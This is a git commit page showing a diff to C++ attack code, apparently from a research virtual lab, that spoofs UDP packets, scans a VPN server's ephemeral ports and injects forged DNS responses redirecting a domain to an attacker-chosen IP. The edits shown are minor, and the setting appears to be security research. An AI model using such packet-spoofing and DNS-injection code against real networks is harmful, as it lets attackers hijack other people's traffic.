added client side attack env to virtual lab and server side tcp

This commit is contained in:
Beau Kujath committed 2021-05-06 14:43:00 -06:00
1 parent da46460491
commit 0a4e3bb714
56 files changed
+1078 -28590

No files matched your search

@@ -227,7 +227,6 @@ int port_spread(string source_ip, int sport, string dest_ip, int start_port, int
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
current_spoof_port = spoof_port;
//udp.dport(spoof_port); // set the packets dest port to current guess
int round_sends = 0;
while (round_sends < 4) { // send 4 at a time then sleep again
@@ -490,7 +489,7 @@ int send_dns(string src_ip, int sport, string dest_ip, int dport) {
cout << "Attempting to inject dns response on port " << dport << "\n\n";
string spoof_domain = "yo.com";
string spoof_domain = "test.com";
string redirect_ip = "22.22.22.22";
injecting = true;
@@ -560,7 +559,7 @@ int find_ports(string source_ip, int sport, string dest_ip, int start_port, int
if (exact_port == 0) is_found = true;
else {
cout << "found some exact port: " << exact_port << "\n\n";
cout << "found exact port: " << exact_port << "\n\n";
print_time();
send_dns(source_ip, sport, dest_ip, exact_port);
@@ -597,7 +596,7 @@ int main(int argc, char** argv) {
source_ip = argv[1]; // dns server IP
int sport = atoi(argv[2]); // most likely 53
dest_ip = argv[3]; // vpn server IP
verbose = true;
//verbose = true;
int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
int end_port = atoi(argv[5]);
@@ -609,9 +608,6 @@ int main(int argc, char** argv) {
int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
//sniff_thread.join();
//send_sniff_thread.join();
sniff_thread.detach();
send_sniff_thread.detach();
Binary file not shown.